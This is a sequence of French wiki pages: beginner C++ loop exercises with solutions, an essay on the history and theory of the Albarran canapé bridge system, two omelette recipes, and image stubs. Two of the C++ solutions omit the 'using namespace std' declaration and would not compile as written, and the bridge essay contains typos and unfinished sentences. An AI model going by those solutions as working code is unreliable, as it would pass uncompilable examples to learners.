déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du for. *Etude d'un algorithme usuel : calcul des termes d'une suite récurrente. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> int main() { int i,u=3,N; cout<<"Tapez N : ";cin>>N; for(i=0;i<N;i++) u=u*3+4; cout<<"u("<<N<<")="<<u<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule u(N) défini par :<br/> u(0)=1<br/> u(1)=1<br/> u(n+1)=u(n)+u(n-1)<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du for. *Etude d'un algorithme usuel : calcul d'une suite récurrente. *Modélisation d'un problème simple issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,u=1,v=1,w,N; cout<<"Tapez N : ";cin>>N; w=1; for(i=2;i<=N;i++) { w=u+v; u=v; v=w; } cout<<"u("<<N<<")="<<w<<endl; return 0; } </pre> }} ===EXERCICE 9=== Ecrire un programme qui demande à l’utilisateur de taper un entier N entre 0 et 20 bornes incluses et qui affiche N+17. Si on tape une valeur erronée, il faut afficher "erreur" et demander de saisir à nouveau l'entier. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation simple du while. *Validation des données saisies par l'utilisateur. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N; bool ok; do { cout<<"Tapez N entre 0 et 20 :";cin>>N; ok= N<=20 && N>=0; if(!ok)cout<<"ERREUR RECOMMENCEZ"<<endl; }while(!ok); N=N+17; cout<<"La valeur finale est : "<<N<<endl; return 0; } </pre> }} ===EXERCICE 10=== Ecrire un programme qui permet de faire des opérations sur un entier (valeur initiale à 0). Le programme affiche la valeur de l'entier puis affiche le menu suivant : <br/> 1. Ajouter 1<br/> 2. Multiplier par 2<br/> 3. Soustraire 4<br/> 4. Quitter<br/> Le programme demande alors de taper un entier entre 1 et 4. Si l'utilisateur tape une valeur entre 1 et 3, on effectue l'opération, on affiche la nouvelle valeur de l'entier puis on réaffiche le menu et ainsi de suite jusqu'à ce qu'on tape 4. Lorsqu'on tape 4, le programme se termine. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du while. *Utilisation du switch. *Gestion d'un programme à l'aide d'un menu. *Modélisation d'un problème simple sous forme informatique. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int x=0,choix; do { cout<<"x vaut "<<x<<endl; cout<<"1 : Ajouter 1"<<endl; cout<<"2 : Multiplier par 2"<<endl; cout<<"3 : Soustraire 4"<<endl; cout<<"4 : Quitter"<<endl; cout<<"Votre choix : ";cin>>choix; switch(choix) { case 1 : x++;break; case 2: x=x*2; break; case 3: x=x-4;break; } }while(choix!=4); cout<<"La valeur finale de x vaut : "<<x<<endl; return 0; } </pre> }} ===EXERCICE 11=== Ecrire un programme qui demande à l'utilisateur de taper des entiers strictement positifs et qui affiche leur moyenne. Lorsqu'on tape une valeur négative, le programme affiche ERREUR et demande de retaper une valeur. Lorsqu'on tape 0, cela signifie que le dernier entier a été tapé. On affiche alors la moyenne. Si le nombre d'entiers tapés est égal à 0, on affiche PAS DE MOYENNE. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un while de difficulté moyenne. *Etude d'un algorithme usuel : calcul d'une moyenne. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int x, s=0,nb=0; double moyenne; do{ cout<<"Tapez un entier :";cin>>x; if(x>0){s=s+x;nb++;} else if(x<0)cout<<"ERREUR "; }while(x!=0); if(nb==0)cout<<"AUCUN ENTIER TAPE "<<endl<<"PAS DE MOYENNE"<<endl; else { moyenne=(double)s/nb; cout<<"La moyenne vaut : "<<moyenne<<endl; } return 0; } </pre> }} ===EXERCICE 12 === Ecrire un programme qui demande à l'utilisateur de taper un entier N et qui calcule u(N) défini par : <br/> u(0)=3<br/> u(1)=2<br/> u(n)=n.u(n-1)+(n+1).u(n-2)+n<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un for. *Etude d'un algorithme usuel : calcul d'une suite récurrente assez difficile. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> int main() { int N,u,i=0,v,w; cout<<"Tapez la valeur de N : ";cin>>N; u=3; v=2; if(N==0)w=u; else if(N==1)w=v; else for(i=2;i<=N;i++){w=i*v+(i+1)*u+i;u=v;v=w;} cout<<"u("<<N<<")="<<w<<endl; return 0; } </pre> }} ===EXERCICE 13 === Ecrire un programme qui demande de saisir 10 entiers et qui affiche le nombre d'occurrences de la note la plus haute. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un for. *Etude d'un algorithme usuel de difficulté moyenne : calcul du nombre d'occurence d'une valeur. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int nb,max,x,i; for(i=0;i<10;i++) { cout<<"Tapez un entier : ";cin>>x; if(i==0){max=x;nb=1;} else if(x==max)nb++; else if(max<x){max=x;nb=1;} } cout<<"le nombre d'occurences de "<<max<<" est "<<nb<<endl; return 0; } </pre> }} ===EXERCICE 14 === Ecrire un programme qui demande de saisir un entier N et qui affiche N!. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du for. *Etude d'un algorithme usuel : calcul d'une factorielle. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,i,f=1; cout<<"Tapez un entier : ";cin>>N; for(i=2;i<=N;i++)f=f*i; cout<<N<<"! vaut "<<f<<endl; return 0; } </pre> }} ===EXERCICE 15 === Ecrire un programme qui demande de saisir un entier et qui indique si cet entier est premier ou non. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation d'un while de difficulté moyenne. *Etude d'un algorithme usuel assez difficile : primarité d'un entier. *Modélisation d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int n; bool premier=true; int d=2; cout<<"Veuillez saisir un entier : ";cin>>n; if(n<=1)premier=false; else { while(premier==true && d*d<=n) if(n%d==0)premier=false; else d=d+1; } if(premier)cout<<n<<" est premier"<<endl; else cout<<n<<" n'est pas premier"<<endl; return 0; } </pre> }} ===EXERCICE 16 === Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche le nombre de nombres premiers inférieurs ou égaux à N. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for et while. *Imbrication de boucles. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,i,nb=0,d; bool est_premier; cout<<"Tapez la valeur de N : ";cin>>N; for(i=2;i<=N;i++) { /* ecrire un programme qui teste si i est premier*/ est_premier=true; d=2; while(est_premier && d*d<=i) if(i%d==0)est_premier=false; else d++; if(est_premier==true)nb++; } cout<<"Le nombre de nombre premiers inférieurs ou égaux à " <<N<<" est "<<nb<<endl; return 0; } </pre> }} ===EXERCICE 17=== Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche le N-ième nombre premier. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for et while. *Imbrication de boucles assez complexe. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int N,i=1,nb=0,d; bool est_premier; cout<<"Tapez la valeur de N : ";cin>>N; while(nb<N) { i++; est_premier=true; d=2; while(est_premier && d*d<=i) if(i%d==0)est_premier=false; else d++; if(est_premier==true)nb++; } cout<<"Le N-ième nombre premier est "<<i<<endl; return 0; } </pre> }} ===EXERCICE 18=== Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche la figure suivante. <br/> <pre> N=1 * N=2 ** * N=3 *** ** * </pre> et ainsi de suite {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for. *Imbrication de boucles assez complexe. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,j,N; cout<<"Tapez la valeur de N : ";cin>>N; for(i=1;i<=N;i++) { for(j=1;j<=N+1-i;j++)cout<<"*"; cout<<endl; } return 0; } </pre> }} ===EXERCICE 19 === Ecrire un programme qui demande à l'utilisateur de saisir un entier N et qui affiche la figure suivante.<br/> <pre> N=1 * N=2 ** * N=3 *** ** * </pre> et ainsi de suite {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation des boucles for. *Imbrication de boucles. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int i,j,N; cout<<"Tapez la valeur de N : ";cin>>N; for(i=1;i<=N;i++) { for(j=1;j<i;j++)cout<<" "; for(j=1;j<=N+1-i;j++)cout<<"*"; cout<<endl; } return 0; } </pre> }} ===EXERCICE 20=== On considère la suite hongroise : u(0)=a (a entier)<br/> si u(n) pair alors u(n+1)=u(n)/2 sinon u(n+1)=3*u(n)+1<br/> Pour toutes les valeurs a, il existe un entier N tel que u(N)=1 (conjecture admise).<br/> a) Ecrire un programme qui demande à l'utilisateur de taper a et qui affiche toutes les valeurs de u(n) de n=1 à n=N. <br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du while. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a,n,u; cout<<"Tapez la valeur de a : ";cin>>a; n=0; u=a; while(u!=1) { if(u%2==0)u=u/2; else u=3*u+1; n++; cout<<"u("<<n<<")="<<u<<endl; } return 0; } </pre> }} b) Ecrire un programme qui demande à l'utilisateur de taper un entier M puis qui cherche la valeur de a comprise entre 2 et M qui maximise la valeur de N. On appelle A cette valeur. La programme doit afficher la valeur A et la valeur N correspondante. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *Utilisation du while et du for. *Imbrication de boucles. *Lire précisément un énoncé. *Modélisation assez complexe d'un problème issu des mathématiques. Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { int a,n,u,M,amax,nmax; cout<<"Tapez la valeur de M : ";cin>>M; amax=2; nmax=2; for(a=3;a<=M;a++) { n=0; u=a; while(u!=1) { if(u%2==0)u=u/2; else u=3*u+1; n++; } if(n>nmax){amax=a;nmax=n;} } cout<<"La valeur de A est :"<<amax<<endl; cout<<"La valeur de N correspondante est :"<<nmax<<endl; return 0; } </pre> }} Bridge cinquante ans après 6490 41354 2006-05-01T14:01:41Z 82.224.88.52 /* Canapé en défense soixante ans après */ == Ambitions de l'auteur == En raison du but avoué '''pédagogique de WikiKivres''', et après avoir ''commis'' plusieurs opuscules techniques ainsi qu'un autre très sèchement historique sur le jeu de bridge-contrat, j'ai cette fois l'ambition de rédiger un texte qui puisse être accessible aux non-bridgeurs. En effet, ne pratiquant pas le jeu d'Échecs, ou si peu, j'en ai pourtant dévoré les rubriques dans différents journaux ou magazines grand public. Mon but serait atteint si une bonne partie de mes lecteurs se révélaient être des ''ludomanes généralistes'' capables, comme moi avec les Echecs, d'en ''zapper'' les quelques passages techniques obligés sans que la philosophie de l'ensemble leur échappe. '''Paraphrase''': <small> Comme on le rencontrera souvent par la suite, je me suis inspiré des deux principaux ouvrages autour du canapé d'Albarran ; on verra plus loin celui signé par Garrozzo, toujours vivant, et qui a remporté une dizaine de championnat du monde en jouant le Canapé. <small> Il s'agit ici du plus ancien, Souvenirs et Secrets, édité en 1947 par Le Triboulet - Monaco et qui débutait ainsi : ''En 1936, j'ai '''commis''', de complicité avec mon ami, Robert de Nexon, un premier crime envers les brdigeurs. J'ai écrit un livre de pure technique de bridge. L'année dernière, j'ai récidivé et aggravé mon cas en écrivant 200 pages rébarbatives et ennuyeuses sur les seules nominations des jeux bicolores. Cela suffit amplement pour le moment. Ainsi vais-je essayer aujour'hui de vous faire profiter de ma longue expérience sans trop vosu ennuyer .../... (page 5, S&S, op. cit.) == Introduction == Pierre Jaïs, Roger Trezel, Bertrand Romanet, Pierre Lattès, Pierre Ghestem, René Bacherich, Gérard Bourchtoff et Claude Delmouly sont les huit joueurs qui menèrent, en 1956 puis en 1960, la France vers la plus haute marche du podium. À la première page de l'''Encyclopédie du Bridge Moderne'' (Fayard), Pierre Albarran les nomme dans cet ordre et avec cette orthographe (notamment Tr'''e'''zel et Bourchtof'''f'''), parmi une pléiade de vingt passionnés du jeu, de José Le Dentu (''le collaborateur le plus intime'') jusqu'à Jean-Marc Roudinesco (''le prodige'') ; il les appelle ''l'honneur d'une génération de jeunes joueurs qui me sont très proches et dont quelques-uns sont parmi mes plus chers amis.'' Bientôt cinquante ans... et le recul permet d'autant mieux de prendre conscience de l'importance historique de cette '''''génération Albarran''''' que la mort du maître a été suivie, de 1960 à 1980, d'une longue éclipse durant laquelle la France n'a jamais pu reconquérir le titre suprème ; il a fallu, vers la fin des [[w:années 1970]], qu'un nouveau standard émerge pour que la France retrouve un tel rang. Dans le présent ouvrage, mi-historique, mi-théorique, l'on se servira des bases du Canapé créé par Albarran pour essayer de faire progresser la théorie des enchères jusqu'à favoriser l'éclosion d'un nouveau standard français, plus proche des idées d'Albarran que du standard actuel occupé par la Majeure Cinquième. Passer d'un paradigme à l'autre semble de toute façon inéluctable car, tout comme au moment de l'apogée des standards précédents, l'on ne peut que constater une '''''Babélisation''''', une féodalisation par la multitude de variantes et de gadgets greffée au fil des ans sur cette Majeure Cinquième. Vu la place envisagée pour la partie historique, l'on a choisi de ne pas faire un traité complet d'enchères : lorsque des situations ne sont pas répertoriées, il suffira de se référer à des cas semblables dans le système de La Longue d'Abord devenu, entre-temps, la Majeure Cinquième. C'est au fur et à mesure qu'apparaîtront les particularités distinctives de ce Canapé. Il suffit de dire dès maintenant que ce qui le distingue le plus c'est qu'à l'ouverture de un à la couleur chaque couleur est vraiment naturelle (par quatre cartes) et dans une fourchette assez étroite de 14 à 18 points. ==La revue française de bridge== Maître du bridge français jusqu'à sa mort, Pierre Albarran est présent, en 1958, pour aider à trouver un organe d'expression à la FFB (Fédération Française de Bridge) qui dépendait alors des lobbies pharmaceutiques pour la diffusion de ses communiqués. Par ses encouragements, par quelques articles qu'il parvenait à soustraire à l'influence de la maladie (compagne de plus en plus présente) , Albarran fut l'âme de la RFB (revue française de bridge) naissante ; le concours d'enchères n'y était pas encote tenu par Le Dentu mais par les Suisses Besse-Reichenbach ; sans la RFB, que de témoignages de cette époque auraient été perdus à jamais. C'est ainsi, parmi les huit champions du monde français cités en frontispice, qu'il demeure facile de retrouver suffisamment de photos, d'articles, ou, tout simlement, de donnes jouées... pour tous... sauf pour Lattès, le partenaire de Romanet en ''Bermuda Bowl ''. Pourtant, tel Fischer aux échecs en 1972, Lattès est à cette époque un phénomène du bridge français : il est le seul à avoir délaissé la compétition peu de temps après avoir remporté la seule finale mondiale qu'il ait jamais disputée ; d'après l'arbitre Savary, c'est à lui que l'on doit d'avoir fait admettre de compter 20 et non 30 le quatrième Sans-Atout en tournoi par paires même si cet essai ne fut pas transformé : trop peu de pays européens en acceptèrent la logique et cette modification de la marque fut abandonnée après une vingtaine d'années d'existence. Enfin, Lattès fut le promoteur des réponses dites ''toulousaines'' à l'ouverture du deux forcing manche. Afin que le siècle suivant se souvienne un peu mieux de Lattès, le plus méconnu de huit, voici, tiré du numéro quatre de la RFB, paru sous le titre ''Dialogues à la table'', un extrait du style de Lattès. Tout l'article démontre une rare capacité d'analyse, un humour très fin, et, surtout, une imagination fertile car Roudinesco, des années après, témoignait, sur cette donne pittoresque, que le contrat avait été réussi et non chuté... même s'il est vrai que Jaïs, après son entame, s'était permis de manipuler le mort comme Lattès le décrit. A R D V 8 5 2 Nord 6 D 4 10 5 4 4 Sud A R D V 8 7 5 4 A R 2 8 Il y a au bridge plusieurs sortes de dialogues, ceux entre partenaires, violents, méprisants, ironiques, parfois plein de condescendance (pour les cloches quui viennent d'infliger un zéro à des champions), ceux entre adversaires, diplomatiques ou cassants, souvent insolents, très souvent pontifiants, parfois ironiques sur le dos des partenaires respectifs (une des rares occasions de s'entendre entre adversaires). Partie d'argent. Ouest a violemment nommé les Trèfles et Sud joue six Cœurs ; Ouest entame le 7 de trèfle ; le mort s'étale, cartes à l'envers, le 10 de trèfle sur le dessus. Ouest redresse le mort, disant à Sud : --- excusez-moi je n'y vois rien. Et le 4 de trèfle est alors joué pour le 9 de trèfle d'Est, ahuri de faire la levée. Tellement ahuri qu'il retourne le 6 de trèfle, alors Sud se retournant vers Ouest : --- Vous ne m'aurez pas avec vos psychics et il produisit triomphalement le Valet de Cœur. Une de chute. Explication générale. == Le Passe-Sumo (Conclusion)== L'on avait déjà fait un tableau des réponses sur toutes les ouvertures sauf celles de un à la couleur ; il est temps de le faire maintenant sachant qu'il ne restera plus ensuite qu'à en commenter les dernières particularités : Un simple soutien sur l'ouverture indique donc très précisèment 9-10 points, mais vous direz-vous cela n'exclue-t-il pas une manche face à un ouvreur 17-17 . En effet, un répondant doté de sept beauxc pints et,a fortiori de 8 points H (rappelons que sel l'ouvreuir compte les DH dits ''oints Albarran'' .../... Lattès avait fait imprimer toutes les mains au début de son article mais, pour ménager le suspense, voici maintenant seulement maintenant celles des flancs. --- Ouest 10 9 3 2 7 5 A R D V 7 3 2 10 9 7 6 3 Est --- V 10 9 8 6 4 9 6 Le 7 entamé par Jaïs, sous A R D V en espérant le 10 chez le partenaire, était une préférentielle pour les piques alors que l'entame du 2 de trèfle aurait pu inciter Est à rechercher plutôt la coupe carreau chez Jaïs. == Plaidoyer anti majeure cinquième == Ce qui ressortira pour les quelques lecteurs qui auront le courage de lire jusqu'au bout cet essai, voire ce pamphlet, c'est que la méthode proposée, par définition hors norme, amènera ipso facto des résultats vraiment hors champ. Au lieu de faire à deux pour cent près 55%, on fera tantôt 65% tant tôt 45... Et alors... Si on s'amuse ainsi. Convient-il vraiment de préférer le bridge du fonctionnaire au bridge de la jungle. C’est un choix personnel. Je joue mon système parce qu’il me rapporte énormément de bons coups. Par exemple, si je jouais le contre punitif, faudrait-il dire, pour paraphraser Sargos, qu'il est incroyable, enfin, farfelu au point de nécessiter une justification. Exemple (ni rare, ni tendancieux) : je détiens X Ax x b RV9 x c D10 x ' x x x. Mon partenaire ouvre d'un en mineure et l’adversaire intervient à 1 Coeur. D’après quel critère le contre punitif peut-il être qualifié de « farfelu »? Y a-t-il objectivement une enchère plus descriptive, plus économique et plus naturelle? Penses-tu que le Standard Français est inadapté à la haute compétition, voire dépassé? (suite de l'interview de Sargos) Le système est parfaitement adapté aux mains de cinq Piques chez l’ouvreur, surtout si le répondant a un soutien de trois cartes, et il est très efficace dans ce cas. Tout le reste est à jeter. Le système d’interventions dites compétitives — et qui ne le sont pas du tout — est pitoyable ; l’ouverture en mineure poubelle, dénuée d’information utile, est une provocation aux interventions adverses les plus audacieuses, d’autant qu’elle est assortie d’une garantie d’impunité (le contre au palier de 1 étant... farfelu !) ; le SA fort est désastreusement incompatible avec la majeure cinquième ; le 2 faible n’est utile qu’à l’adversaire, à qui on explique aimablement tout ce qu’il n’aurait jamais dû savoir ; que sais-je encore.... Et les rapiéçages effectués au fil des ans sur la coque de ce rafiot en perdition sont pires encore. Des dizaines d’obligations et d’interdits, qui tiennent de la fatwa plus que de la raison pure : « pas avec un bicolore », « pas avec deux As », « pas sans deux Honneurs », « les 5–5 noirs s’ouvrent toujours de 1' », « pas avec un honneur annexe », etc. En vérité, pourquoi ne puis-je ouvrir de 3SA avec sept Trèfles maîtres et le Roi de Pique sans passer au bûcher pour hérésie? Parce que ça risque de gêner le flanc? Je suis frappé que beaucoup de joueurs talentueux (et encore plus de joueuses) ne manifestent rigoureusement aucun esprit critique au sujet de toutes ces sottises. Cela me rappelle le temps (lointain) où j’apprenais par coeur au catéchisme les sept vertus cardinales que confère la Confirmation. C’était débile, mais il n’était pas question de le mettre en question. J’ai grandi et je m’accorde le droit de critiquer les soixante-dix-sept vertus cardinales que confère la M5MM. Ce ne sont pas « certains systèmes » qui sont interdits, ou au moins pénalisés, ce sont tous les systèmes autres que la sacro-sainte (Super, Nouvelle...) Majeure Cinquième : des cinq systèmes officiels de la FFB il y a vingt ans, elle est le seul survivant (les autres ont été rayés des fiches standard dans la plus grande discrétion). C’est un système hautement naturel en vérité, 4e couleur forcing et le toutim à l’appui. Est également parfaitement naturel le Texas sur 1 et 2SA. Est honteusement artificiel le Texas sur une ouverture à la couleur. Logique, n’est-ce pas ? Si l’on souhaite continuer à laisser les joueurs professionnels qui s’entraînent huit heures par jour plumer les pigeons amateurs perdus dans les méandres de ce système de fous, il ne faut surtout rien changer au règlement : c’est d’ailleurs la doctrine constante depuis longtemps. Si l’on souhaite donner enfin une maigre chance de gagner de temps en temps (ou, au moins, de s’amuser !) aux petits expérimentateurs individualistes, c’est une autre affaire. J’allais oublier les raisons si noblement philanthropiques qui motivent officiellement cette réglementation obscurantiste : il ne faut pas perturber les petits joueurs. Tartuffe, ma référence préférée en la matière, l’eût mieux dit : « Par de pareils objets les p’tits joueurs sont blessés... La justice finit toujours par se venger : ==Évaluation des mains== Les points H (honneur) étaient connus dès 1915 grâce à l'inventeur du Contre d'Appel : Bryant McCampbell et ensuite par Milton Work et [[w:Harold Vanderbilt]], mais, bien avant que Charles Henry Goren ne les répande, Albarran fut l'inventeur des points DH, et, rien que pour ça, il mériterait de ne pas tomber dans l'oubli ; l'on appellera donc tout au long de ce livre ''points Albarran'' cette combinaison, à l'ouverture à la couleur (en réponse, seuls les points H sont additionnés) des points H : As=4, Roi=3, Dame=2, Valet=1 et des points D (distribution) : chicane=3, singleton=2, doubleton=1. Dans cet ouvrage prospectif mais d'abord commémoratif, il serait maladroit de modifier de façon trop significative les ''points Albarran'' d'autant que les chapitres sur l'évaluation des mains, présents dans nombre de livres de bridge, sont allègrement sautés par la majorité des joueurs. Certes, un lecteur pressé pourrait se permettre, ici aussi, de ne pas le lire jusqu'au bout sans risquer de graves incompréhensions. Il convient juste de noter qu'à l'ouverture, quelle que soit la position, il faut au moins 14 points Albarran pour ouvrir et, hors des cas classiques de barrage, les mains plus faibles seront donc toujours passées. Cette variante des ''points Albarran'' ne prétend pas pour autant surclasser la dernière mouture du maître ; elle est simplement basée autrement pour une raison qui échappe, non seulement à beaucoup de joueurs, mais également à nombre de bâtisseurs de système : habituellement, la somme des points des deux partenaires, le seuil où il est indifférent de demander ou non la manche en majeure ou à Sans-Atout, n'est pas un nombre entier mais compris entre 25 et 26. == [[:w:Claude Delmouly]] == Delmouly avait rédigé une bonne partie de l'Encyclopédie d'Albarran ; maintenant qu'il nous a quitté quelques jours avant le début des Olympiades de Turin où il avait brillé en 1960, c'est le moment de faire le point sur la plus récente version du Canapé. Comme ceux pratiqués avec succès par les Italiens, ce néo-canapé est un '''système zoné''', c'est à dire où les ouvertures sont circonscrites dans des fourchettes plus étroites que les 12-23HL de la [[:w:Majeure Cinquième]]. et utilisant les comptes par '''levées perdantes''' et non par point d'honneur classiques. - quatre levées perdantes et moins correspondent au deux forcing manche classique et sont ouvertes de deux Carreaux, - cinq levées perdantes correspondent au deux fort intéterminé du standard français actuel et sont ouverets de deux Trèfles, - six ou sept levées perdantes, avec donc des fourchettes plus étroites (rarement plus de 17H) correspondent aux ouvertures de un classiques mais où toutes les couleurs, même les mineures, sont au moins par quatre, - neuf levées perdantes ou pire sont des mains habituellement toujours passées sauf dans certaines situations compétitives. - huit levées perdantes ne permettent pas d'ouvrir mais permettrent de s'exprimer très fréquemment en réponse ou en intervention avec cette autre innovation qu'est le '''canapé en défense''' et son corollaire : la notion d'enchère '''rétro-forcing''' à ne aps confondrea vec les situations auto-forcing. Une enchère auto-forcing oblige à la fois l'auteur à reparler et au répondant à répondre. Une enchère '''rétro forcing''' permet au répondant de passer mais, si l'enchère revient à son auteur après deux Passe, il y a alors obligation de reparler tant que le palier n'a pas atteint deux Piques. == Canapé en défense soixante ans après == À vrai dire, j'avais déjà dans la tête de titrer ce chapitre ''quarante ans après'' car c'est dans le milieu des années soixante que j'avais découvert les interventions des Italiens avec quatre cartes dans le cadre de leur [[w:Giorgio Belladonna|système plus de dix fois champion du monde]]. En fait, si je savais déjà que le canapé en attaque remontait à plus de soixante-dix ans (page 48 du livre d'Ognianovich aux Éditions De Cluny), ce n'est que très récemment que j'ai été attiré par cet autre passage d'Albarran : V A 9 4 A D 10 9 2 D 10 9 8 où il s'agit de trouver la meilleure intervention contre Un Sans-Atout sachant, nous sommes en partie libre et qu'il n'est pas question de passer car les adversaires sont marqués à soixante. Albarran préconise alors 2T, '''''canapé défensif''', enchère de protection permettant de se replier, tout en restant au même palier, dans une couleur plus solide, si un contre adverse montre que le partenaire n'a pas de fit dans la première couleur annoncée'' .../... (page 152, S&S, op. cit.) Autant Albarran avait préféré cantonner un tel Canapé à des situations plutôt conjoncturelles, autant ma propre expérience d'une '''pratique généralisée''' de ce ''canapé défensif''' m'incite à publier ce qui suit. En effet, une rapide statistique, portant sur les vingt-quatre premières donnes du dernier simultané du Roi René, montre qu'il est très fréquent de rencontrer des situations comportant une majeure sans que le partenaire en soit aussitôt informé dans le système classique. Cuisine:Omelette 6491 30866 2006-01-30T11:11:09Z Zivax 1021 Liens La fameuse recette de maman qui arrive de son travail qui, pour rompre la monotonie des repas, et être plus disponible avec la famille, nous prépare un petit plat simple, économique et de toute saison...une '''omelette'''. Pour toute les recettes à base d’œufs, les ingrédients doivent obligatoirement être frais. == Préparation pour deux personnes == ==== Temps ==== *Préparation : 5 minutes *Cuisson : 5 minutes ==== Ustensiles ==== *Une [[w:Poêle (ustensile)|poêle à frire]] *Un [[w:Saladier|saladier]] *Une [[w:Spatule|spatule]] *Une [[w:Fourchette|fourchette]] ==== Ingrédients ==== *Six œufs *30 grammes de [[w:Beurre|beurre]] salé *Une pincée de [[w:Sel|sel]] (suivant goût) *Une pincée de [[w:Poivre|poivre]] ==== Préparation ==== *Faire fondre sur feu vif, le [[w:Beurre|beurre]] dans la poêle *Battre dans le [[w:Saladier|saladier]] les six [[w:Oeuf|œufs]] à l’aide d’une [[w:Fourchette|fourchette]] *Rajouter le [[w:Sel|sel]] et le [[w:Poivre|poivre]] suivant goût *Verser les [[w:Oeuf|œufs]] battus dans la poêle *Rabattre à l'aide d'une spatule les deux bords de l'omelette *Une bonne omelette doit être légèrement baveuse == Ingrédients complémentaires == Vous pouvez accommoder le plat en servant les œufs avec une tranche de jambon cuit ou cru (actuellement dans les supermarchés on trouve du jambon de poulet..à voir) et rajouter un peu de [[w:Persil|persil]] haché ou de [[w:Ciboulette|ciboulette]] pour agrémenter le tout. *Une fine tranche de [[w:Porc|jambon]] *[[w:Persil]] ou [[w:Ciboulette|ciboulette]] ---- Retour aux [[Cuisine:Recettes rapides|recettes rapides]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Omelette Angevine 6492 30864 2006-01-30T11:04:46Z Zivax 1021 Liens '''Omelette''' délicieuse , pouvant se servir chaude ou froide pour un encas. Pour toute les recettes à base d’œufs, les ingrédients doivent obligatoirement être frais. == Préparation pour deux personnes == ==== Temps ==== *Préparation : 10 minutes *Cuisson : 10 minutes ==== Ustensiles ==== *Une [[w:Poêle (cuisine)|poêle à frire]] *Un [[w:Saladier|saladier]] *Une [[w:Spatule|spatule]] *Une [[w:Fourchette|fourchette]] ==== Ingrédients ==== *Six œufs *30 grammes de [[w:Beurre|beurre]] salé *Une pincée de [[w:Sel|sel]] (suivant goût) *Une pincée de [[w:Poivre|poivre]] *60 grammes de [[w:Gruyère|gruyère]] *Un petit bouquet de [[w:Persil|Persil]] *75 grammes de [[w:Lardon|lardons]] *Une grosse [[w:Pomme de terre|pomme de terre]] épluchée et coupée en petits cubes. *Un blanc de [[w:Poireau|poireau]] nettoyé et coupé en petits cubes ==== Préparation ==== *Faire fondre sur feu vif, le [[w:Beurre|beurre]] dans la poêle *Faire revenir à la poêle les petits cubes de [[w:Porc|poitrine de porc]] (les sortir et garder en attente dans une assiette) *Faire revenir à la poêle les petits cubes de [[w:Poireau|poireaux]] (dès qu'ils blondissent, les sortir et garder en attente dans une assiette) *Faire revenir à la poêle les petits cubes de pommes de terre. *Dès que les pommes de terre sont cuites rajouter la poitrine de porc et les poireaux. *Continuer à remuer les ingrédients dans la poêle en salant et poivrant. *Battre dans le [[w:Saladier|saladier]] les six [[w:Oeuf|œufs]] à l’aide d’une [[w:Fourchette|fourchette]] pendant la cuisson des légumes. *Verser les [[w:Oeuf|œufs]] battus dans la poêle avec les autres ingrédients et remuer énergiquement. *Une fois bien mélangé, ne plus y toucher et faire cuire rapidement les deux faces de l'omelette. *Une bonne omelette doit être légèrement baveuse, mais pour le pique-nique il est nécessaire de bien la cuire. == Ingrédients complémentaires == Vous pouvez accommoder le plat en servant les œufs avec une tranche de jambon cuit ou cru (actuellement dans les supermarchés on trouve du jambon de poulet..à voir) et rajouter un peu de [[w:Persil|persil]] haché ou de [[w:Ciboulette|ciboulette]] pour agrémenter le tout. *Une fine tranche de [[w:Porc|jambon]] *Rajouter le [[w:Persil|Persil]] pour décorer le plat. ---- Retour aux [[Cuisine:Recettes rapides|recettes rapides]] / au [[Livre_de_Cuisine|sommaire]] ---- Image:Verbatim.png 6493 28899 2006-01-14T13:19:33Z Trotinette 954 Verbatim Verbatim Image:Alltt.png 6494 28900 2006-01-14T13:19:55Z Trotinette 954 Alltt 